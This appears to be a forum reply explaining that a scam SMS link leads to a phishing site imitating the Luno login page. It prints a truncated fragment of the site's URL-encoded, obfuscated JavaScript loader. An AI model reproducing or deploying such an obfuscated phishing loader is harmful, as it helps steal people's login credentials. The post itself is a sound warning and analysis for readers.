They didn't get your number, they sent the message to thousands of random numbers hoping to get a hit.
Note - please delete the URL you included as it could be dodgy. In case you want to check where a short URL redirects to, paste it here rather than clicking / tapping it:
https://www.expandurl.net/expand
In that case it goes to a URL at bajartiktok-dot-com which, when loaded into notepad, reveals this:
Code:
<script language=javascript>document.write(unescape('%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%6A%61%76%61%73%63%72%69%70%74%3E%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%75%6E%65%73%63%61%70%65%28%27%25%33%43%73%63%72%69%70%74%25%32%30%6C%61%6E%67%75%61%67%65%25%33%44%6A%61%76%61%73%63%72%69%70%74%25%33%45%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%6530%25%32%35%32%30%25%32%35%32%30%25%32%35%33%43%70%61%74%68%25%32%35%32%30%64%25%32%35%33%44%25%32%35%32%32%4D%38%32%2E%31%25%32%35%32%43%32%38%2E%31%63%2D%31%2E%31%25%32%35%32%43%30%2D%31%2E%39%2D%30%2E%39%2D%31%2E%39%2D%32%76%2D%31%34%63%30%2D%34%2E%39%2D%33%2E%35%2D%38%2E%33%2D%38%2E%35%2D%38%2E%33%63%30%25%32%35%32%43%30%25%32%35%32%43%30%25%32%35%32%43%30%25%32%35%32%43%30%25%32%35%32%43%30%63%2D%35%25%32%35%32%43%30%2D%38%2E%34%25%32%35%32%43%33%2E.....'))</script>
Basically a java script entry that's been 'escaped'/url encoded - it could be absolutely anything malicious...
On further inspection, it's basically a script to recreate a lookalike luno page to fool you into parting with your login creds... i.e. bog standard phishing.
